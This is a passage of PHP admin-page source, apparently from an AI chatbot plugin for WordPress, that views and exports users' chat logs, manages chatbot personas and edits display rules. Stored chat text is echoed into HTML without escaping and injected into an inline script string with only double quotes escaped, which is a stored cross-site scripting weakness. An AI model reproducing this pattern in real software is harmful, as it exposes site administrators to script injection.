'<div class="ai-wrapper">'; if($bubble_user_alignment != 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '<div class="ai-bubble ai-mine">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_user_alignment == 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '</div>'; } elseif($om['role'] == 'assistant') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '<div class="ai-bubble ai-other">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '</div>'; } } } } } } catch(Exception $e) { $conv_meta = ''; } } else { $conv_meta = ''; } } else { $conv_meta = get_transient('aiomatic_chat_history_' . $conv_id . '_' . $user_id); } } if($conv_meta === false) { $conv_meta = ''; } echo '<div class="wrap">'; echo '<h1>' . esc_html__('View User Conversation', 'aiomatic-automatic-ai-content-writer') . '</h1>'; echo '<div id="aiomatic_chat_history_log" class="aiomatic_chat_history_log ai-chat form-control" title="Click on a bubble to copy its content!"> <table class="form-table">'; echo '<tbody>'; echo '<tr>'; echo '<td>' . $conv_meta . '</td>'; echo '</tr>'; echo '</tbody>'; echo '</table></div>'; $zcurrent_page = preg_replace('#&action=view_meta#', '', $current_page); $zcurrent_page = preg_replace('#&conv_id=([^&]*?)&#', '&', $zcurrent_page); echo '<a href="' . $zcurrent_page . '" class="button">' . esc_html__('Back to List', 'aiomatic-automatic-ai-content-writer') . '</a>'; echo '</div>'; } elseif ( $action == 'download_meta' ) { if(is_numeric($user_id)) { if($assistant_id != '') { $thread_id = get_user_meta($user_id, 'aiomatic_assistant_history_thread', true); if(!empty($thread_id)) { try { if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { $conv_meta = ''; require_once (dirname(__FILE__) . "/aiomatic-assistants-api.php"); $old_messages = aiomatic_openai_list_messages($token, $thread_id, 100, 'asc'); if(isset($old_messages['data']) && is_array($old_messages['data'])) { foreach($old_messages['data'] as $om) { if(isset($om['content'][0]['text']['value'])) { if($om['role'] == 'user') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_user_alignment != 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '<div class="ai-bubble ai-mine">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_user_alignment == 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '</div>'; } elseif($om['role'] == 'assistant') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '<div class="ai-bubble ai-other">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '</div>'; } } } } } } catch(Exception $e) { $conv_meta = ''; } } else { $conv_meta = ''; } } else { $conv_meta = get_user_meta($user_id, 'aiomatic_chat_history' . $conv_id, true); } } else { if($assistant_id != '') { $thread_id = get_transient('aiomatic_assistant_history_thread_' . $user_id); if(!empty($thread_id)) { try { if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { $conv_meta = ''; require_once (dirname(__FILE__) . "/aiomatic-assistants-api.php"); $old_messages = aiomatic_openai_list_messages($token, $thread_id, 100, 'asc'); if(isset($old_messages['data']) && is_array($old_messages['data'])) { foreach($old_messages['data'] as $om) { if(isset($om['content'][0]['text']['value'])) { if($om['role'] == 'user') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_user_alignment != 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '<div class="ai-bubble ai-mine">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_user_alignment == 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '</div>'; } elseif($om['role'] == 'assistant') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '<div class="ai-bubble ai-other">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '</div>'; } } } } } } catch(Exception $e) { $conv_meta = ''; } } else { $conv_meta = ''; } } else { $conv_meta = get_transient('aiomatic_chat_history_' . $conv_id . '_' . $user_id); } } if($conv_meta === false) { $conv_meta = ''; } $conv_meta = str_replace('<div class="ai-bubble ai-mine">', 'User: ', $conv_meta); $conv_meta = str_replace('<div class="ai-bubble ai-other">', 'AI: ', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-mine"></div>', '', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-other"></div>', '', $conv_meta); $conv_meta = preg_replace('#<div class="ai-wrapper">([\s\S]*?)<\/div>#i', '$1', $conv_meta); $conv_meta = str_replace('</div>', '\r\n', $conv_meta); $conv_meta = str_replace('<br>', '\r\n', $conv_meta); echo '<script type="text/javascript">function aiomatic_toBinary(string) { const codeUnits = Uint16Array.from( { length: string.length }, (element, index) => string.charCodeAt(index) ); const charCodes = new Uint8Array(codeUnits.buffer); let result = ""; charCodes.forEach((char) => { result += String.fromCharCode(char); }); return result; }try{var blists = aiomatic_toBinary("' . str_replace('"', '\"', $conv_meta) . '");var encodedString = btoa(blists);var hiddenElement = document.createElement(\'a\');hiddenElement.href = \'data:text/attachment;base64,\' + encodedString;hiddenElement.target = \'_blank\';hiddenElement.download = \'chat-log-' . $user_id . '.txt\';hiddenElement.click();}catch(e){alert(e);}</script>'; $zcurrent_page = preg_replace('#&action=download_meta#', '', $current_page); $zcurrent_page = preg_replace('#&conv_id=([^&]*?)&#', '&', $zcurrent_page); echo '<a href="' . $zcurrent_page . '" class="button">' . esc_html__('Back to List', 'aiomatic-automatic-ai-content-writer') . '</a>'; } elseif ( $action == 'download_all_meta' ) { $paged = 1; $users_per_page = 20; $users = array(); do { $users_query = new WP_User_Query( array( 'meta_query' => array( array( 'key' => 'aiomatic_chat_history', 'compare_key' => 'LIKE' ) ), 'number' => $users_per_page, 'paged' => $paged, ) ); $paged++; $rezuser = $users_query->get_results(); $users = array_merge($rezuser, $users); } while(!empty($rezuser)); $transi_count = 0; if($assistant_id != '') { $all_transients = aiomatic_get_transients_by_regex('aiomatic_assistant_history_thread_.+', PHP_INT_MAX, $transi_count); } else { $all_transients = aiomatic_get_transients_by_regex('aiomatic_chat_history_.+', PHP_INT_MAX, $transi_count); } $full_chat_log = ''; foreach ( $users as $user ) { $user_id = $user->ID; $all_meta = get_user_meta($user_id, '', true); $my_meta = array_filter($all_meta, function($key){ return strpos($key, 'aiomatic_chat_history') === 0; }, ARRAY_FILTER_USE_KEY); foreach($my_meta as $key => $zmeta) { $pref = explode('aiomatic_chat_history', $key); if(isset($pref[1])) { $conv_id = $pref[1]; $conv_meta = get_user_meta($user_id, 'aiomatic_chat_history' . $conv_id, true); if($conv_meta === false) { $conv_meta = ''; } $conv_meta = str_replace('<div class="ai-bubble ai-mine">', 'User: ', $conv_meta); $conv_meta = str_replace('<div class="ai-bubble ai-other">', 'AI: ', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-mine"></div>', '', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-other"></div>', '', $conv_meta); $conv_meta = preg_replace('#<div class="ai-wrapper">([\s\S]*?)<\/div>#i', '$1', $conv_meta); $conv_meta = str_replace('</div>', '\r\n', $conv_meta); $conv_meta = str_replace('<br>', '\r\n', $conv_meta); $full_chat_log .= 'Logged-in User ID: ' . $user_id . '\r\n'; $full_chat_log .= 'Conversation ID: ' . $conv_id . '\r\n'; $full_chat_log .= '---------------------' . '\r\n'; $full_chat_log .= $conv_meta . '\r\n'; $full_chat_log .= '---------------------' . '\r\n' . '\r\n'; } } } foreach ( $all_transients as $transient_name => $transient_value ) { if($assistant_id != '') { preg_match_all('#aiomatic_assistant_history_thread_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[2][0])) { $user_id = $trmatches[2][0]; $conv_id = $trmatches[1][0]; $conv_meta = get_transient('aiomatic_assistant_history_thread_' . $user_id); if($conv_meta === false) { $conv_meta = ''; } $conv_meta = str_replace('<div class="ai-bubble ai-mine">', 'User: ', $conv_meta); $conv_meta = str_replace('<div class="ai-bubble ai-other">', 'AI: ', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-mine"></div>', '', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-other"></div>', '', $conv_meta); $conv_meta = preg_replace('#<div class="ai-wrapper">([\s\S]*?)<\/div>#i', '$1', $conv_meta); $conv_meta = str_replace('</div>', '\r\n', $conv_meta); $conv_meta = str_replace('<br>', '\r\n', $conv_meta); $full_chat_log .= 'Guest ID: ' . $user_id . '\r\n'; $full_chat_log .= 'Conversation ID: ' . $conv_id . '\r\n'; $full_chat_log .= '---------------------' . '\r\n'; $full_chat_log .= $conv_meta . '\r\n'; $full_chat_log .= '---------------------' . '\r\n' . '\r\n'; } } else { preg_match_all('#aiomatic_chat_history_([^_]+)_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[2][0])) { $user_id = $trmatches[2][0]; $conv_id = $trmatches[1][0]; $conv_meta = get_transient('aiomatic_chat_history_' . $conv_id . '_' . $user_id); if($conv_meta === false) { $conv_meta = ''; } $conv_meta = str_replace('<div class="ai-bubble ai-mine">', 'User: ', $conv_meta); $conv_meta = str_replace('<div class="ai-bubble ai-other">', 'AI: ', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-mine"></div>', '', $conv_meta); $conv_meta = str_replace('<div class="ai-avatar ai-other"></div>', '', $conv_meta); $conv_meta = preg_replace('#<div class="ai-wrapper">([\s\S]*?)<\/div>#i', '$1', $conv_meta); $conv_meta = str_replace('</div>', '\r\n', $conv_meta); $conv_meta = str_replace('<br>', '\r\n', $conv_meta); $full_chat_log .= 'Guest ID: ' . $user_id . '\r\n'; $full_chat_log .= 'Conversation ID: ' . $conv_id . '\r\n'; $full_chat_log .= '---------------------' . '\r\n'; $full_chat_log .= $conv_meta . '\r\n'; $full_chat_log .= '---------------------' . '\r\n' . '\r\n'; } } } echo '<script type="text/javascript">function aiomatic_toBinary(string) { const codeUnits = Uint16Array.from( { length: string.length }, (element, index) => string.charCodeAt(index) ); const charCodes = new Uint8Array(codeUnits.buffer); let result = ""; charCodes.forEach((char) => { result += String.fromCharCode(char); }); return result; }try{var blists = aiomatic_toBinary("' . str_replace('"', '\"', $full_chat_log) . '");var encodedString = btoa(blists);var hiddenElement = document.createElement(\'a\');hiddenElement.href = \'data:text/attachment;base64,\' + encodedString;hiddenElement.target = \'_blank\';hiddenElement.download = \'full-chat-log.txt\';hiddenElement.click();}catch(e){alert(e);}</script>'; $zcurrent_page = preg_replace('#&action=download_all_meta#', '', $current_page); $zcurrent_page = preg_replace('#&conv_id=([^&]*?)&#', '&', $zcurrent_page); echo '<a href="' . $zcurrent_page . '" class="button">' . esc_html__('Back to List', 'aiomatic-automatic-ai-content-writer') . '</a>'; } } } ?> <h2><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/mD_7oaCt2eM" frameborder="0" allowfullscreen></iframe></div></p> </div> </div> <div><p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p></div> </form> </div> <div id="mymodalfzr" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Add New Persona", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <form action="#" method="post" autocomplete="off" id="aiomatic_personas_form"> <br/> <input type="hidden" name="action" value="aiomatic_personas"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('aiomatic_personas');?>"> <h1><strong><?php echo esc_html__("Add New Persona:", 'aiomatic-automatic-ai-content-writer');?></strong></h1> <h4><?php echo esc_html__("Persona Name*", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of this persona.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-persona-title" name="aiomatic-persona-title" class="aiomatic-full-size" placeholder="Persona name" required></textarea> <br/> <h4><?php echo esc_html__("Persona Role", 'aiomatic-automatic-ai-content-writer');?>:<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the role of this persona.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="1" id="aiomatic-persona-description" name="aiomatic-persona-description" class="aiomatic-full-size" placeholder="Persona role"></textarea> <br/> <h4><?php echo esc_html__("Persona Context Prompt*", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt which will be sent to the AI. Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-persona-prompt" name="aiomatic-persona-prompt" class="aiomatic-full-size" placeholder="Persona context prompt" required></textarea> <br/> <h4><?php echo esc_html__("Persona First Message", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the first message of this persona.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <textarea rows="4" id="aiomatic-persona-first-message" name="aiomatic-persona-first-message" class="aiomatic-full-size" placeholder="Persona first message"></textarea> <br/> <h4><?php echo esc_html__("Persona Avatar", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar of the chatbot persona.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-new"/></div> <input type="hidden" name="aiomatic-persona-avatar" id="aiomatic_image_id_new" value="" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_new"/> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_new"/> <br/><br/> <hr/> <button id="aiomatic-personas-save-button" class="button button-primary"><?php echo esc_html__("Save", 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-personas-success"></div> <br/> </form> </div> </div> </div> </div> <div id="mymodalfzr_backup" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close_backup" class="codeclosefzr">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("Backup/Restore Personas", 'aiomatic-automatic-ai-content-writer');?></span></h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Restore Personas From File", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can restore personas from file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <div class="aiomatic_persona_upload_form"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Backup File (*.json)", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="file" id="aiomatic_persona_upload" accept=".json"> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Overwrite Existing", 'aiomatic-automatic-ai-content-writer'); ?></th> <td> <input type="checkbox" id="aiomatic_overwrite" value="on"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully you can view it in the persona listing tab.", 'aiomatic-automatic-ai-content-writer'); ?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer'); ?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_persona_button"><?php echo esc_html__("Import Personas From File", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size", 'aiomatic-automatic-ai-content-writer'); ?>: <?php echo size_format($aiomaticMaxFileSize)?> </p> </td> </tr> </tbody> </table> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <div> <h3> <?php echo esc_html__('Backup Current Personas To File:', 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and you can backup the current personas to file.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <form method="post" onsubmit="return confirm('Are you sure you want to download personas to file?');"><input name="aiomatic_nonce" type="hidden" value="<?php echo wp_create_nonce('aiomatic_personas');?>"><input name="aiomatic_download_personas_to_file" type="submit" class="button button-primary coderevolution_block_input" value="Backup Personas To File"></form> </div> </div> <br/> <hr/> <div class="aiomatic-loader-bubble"> <h3 class="margin5"><?php echo esc_html__("Import Default Personas (This Can Take For A While)", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Hit this button and the plugin will create the default personas which come bundled with the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h3> <table class="form-table"> <tbody> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_persona_default_button"><?php echo esc_html__("Import Default Personas", 'aiomatic-automatic-ai-content-writer');?></button><br> </td> </tr> </tbody> </table> </div> <hr/> </div> </div> </div> </div> <hr/> <div> <h2 class="cr_image_center"><?php echo esc_html__("Chatbot Preview", 'aiomatic-automatic-ai-content-writer');?></h2> <?php $preview_settings = array( 'live_preview' => 'yes', 'temperature' => '', 'top_p' => '', 'presence_penalty' => '', 'frequency_penalty' => '', 'model' => '', 'instant_response' => '', 'show_in_window' => 'off' ); if($god_preview == 'on') { $preview_settings['enable_god_mode'] = 'yes'; } echo aiomatic_chat_shortcode($preview_settings); ?> </div> <br/><br/> <hr/> <div class="cr_image_center"><?php echo esc_html__("To add the chat bot to your website, please include the shortcode [aiomatic-chat-form] in the desired location on your site.", 'aiomatic-automatic-ai-content-writer');?></div> <?php } function aiomatic_expand_chatbot_rules($aiomatic_chat_json) { $rules = json_decode($aiomatic_chat_json); if($rules == false) { return ''; } $output = ''; $cont = 0; if (!empty($rules)) { foreach ($rules as $dataid => $value) { $uniqum = $value->index; $data = $value->data; $uniq = uniqid(); if(empty($data->rule_description)) { $data->rule_description = $uniqum; } $output .= '<div class="cr_center aiuniq-' . esc_html($uniq) . '"><input type="text" id="' . $uniqum . 'rule_description" onchange="anyNewChatChanged();" placeholder="Rule ID" value="' . esc_html($data->rule_description) . '" class="cr_width_full"/></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><textarea rows="1" data-id="' . $value->index . '" id="' . $uniqum . 'shortcode" onchange="anyNewChatChanged();" placeholder="' . esc_html__('Input the chatbot shortcode which will be embedded globally to your site', 'aiomatic-automatic-ai-content-writer') . '" class="chatbotShortcodeImportant cr_width_full" required>' . esc_textarea(stripslashes($data->shortcode)) . '</textarea></div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"> <input type="button" id="mybtnchatfzr' . esc_html($cont) . '" value="Settings" onclick="document.getElementById(\'mymodalchatfzr' . esc_html($cont) . '\').style.display = \'block\';"> <div id="mymodalchatfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_chat_close' . esc_html($cont) . '" class="codeclosefzr" onclick="document.getElementById(\'mymodalchatfzr' . esc_html($cont) . '\').style.display = \'none\';">×</span> <h2><span class="cr_color_white">' . esc_html__("Rule ID ", 'aiomatic-automatic-ai-content-writer') . esc_html(stripslashes($dataid)) . '</span> ' . esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set a list of URL where to not show the chatbot. You can enter multiple URLs, each on a new line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot On These URLs:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <textarea rows="2" id="' . $uniqum . 'not_show_urls" onchange="anyNewChatChanged();" placeholder="URL list, each on a new line">' . esc_textarea($data->not_show_urls) . '</textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set a list of URL only where to show the chatbot. You can enter multiple URLs, each on a new line. If you enter a list of URLs, the chatbot will be shown only on these URls and not on any other URLs from your site.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only On These URLs:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <textarea rows="2" id="' . $uniqum . 'only_show_urls" onchange="anyNewChatChanged();" placeholder="URL list, each on a new line">' . esc_textarea($data->only_show_urls) . '</textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the hour period of each day, when you want to show the chatbot embedded on your site. Your current server time is: ", 'aiomatic-automatic-ai-content-writer') . date("h:i A") . ' </div> </div> <b>' . esc_html__("Show The Chatbot Between Specific Hours Each Day:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <input type="time" id="' . $uniqum . 'min_time" onchange="anyNewChatChanged();" value="' . esc_attr($data->min_time) . '" placeholder="Show the Chatbot Only After This Hour"> - <input type="time" id="' . $uniqum . 'max_time" value="' . esc_attr($data->max_time) . '" placeholder="Show the Chatbot Only Before This Hour"> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the days of the week, when you want to always show the chatbot (regardless of the above hour limitations).", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Days When To Always Show The Chatbot:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'always_show" onchange="anyNewChatChanged();" class="cr_width_full">' . '<option' . (in_array('Monday', $data->always_show) ? ' selected': '') . ' value="Monday">Monday</option>' . '<option' . (in_array('Tuesday', $data->always_show) ? ' selected': '') . ' value="Tuesday">Tuesday</option>' . '<option' . (in_array('Wednesday', $data->always_show) ? ' selected': '') . ' value="Wednesday">Wednesday</option>' . '<option' . (in_array('Thursday', $data->always_show) ? ' selected': '') . ' value="Thursday">Thursday</option>' . '<option' . (in_array('Friday', $data->always_show) ? ' selected': '') . ' value="Friday">Friday</option>' . '<option' . (in_array('Saturday', $data->always_show) ? ' selected': '') . ' value="Saturday">Saturday</option>' . '<option' . (in_array('Sunday', $data->always_show) ? ' selected': '') . ' value="Sunday">Sunday</option>' . '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the days of the week, when you want to never show the chatbot.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Days When To Never Show The Chatbot:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'never_show" onchange="anyNewChatChanged();" class="cr_width_full">' . '<option' . (in_array('Monday', $data->never_show) ? ' selected': '') . ' value="Monday">Monday</option>' . '<option' . (in_array('Tuesday', $data->never_show) ? ' selected': '') . ' value="Tuesday">Tuesday</option>' . '<option' . (in_array('Wednesday', $data->never_show) ? ' selected': '') . ' value="Wednesday">Wednesday</option>' . '<option' . (in_array('Thursday', $data->never_show) ? ' selected': '') . ' value="Thursday">Thursday</option>' . '<option' . (in_array('Friday', $data->never_show) ? ' selected': '') . ' value="Friday">Friday</option>' . '<option' . (in_array('Saturday', $data->never_show) ? ' selected': '') . ' value="Saturday">Saturday</option>' . '<option' . (in_array('Sunday', $data->never_show) ? ' selected': '') . ' value="Sunday">Sunday</option>' . '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the WordPress content where to not show the chatbot.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot On This WordPress Content:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_content_wp" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_content_wp ) ? $data->no_show_content_wp : [ '*' ]; $output .= aiomatic_get_wordpress_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the WordPress content only where to show the chatbot.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only On This WordPress Content:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_content_wp" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_content_wp ) ? $data->show_content_wp : [ '*' ]; $output .= aiomatic_get_wordpress_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the languages for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These Languages:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_locales" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_locales ) ? $data->no_show_locales : [ '' ]; $output .= aiomatic_get_locales_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the languages for only which the chatbot will be shown.", 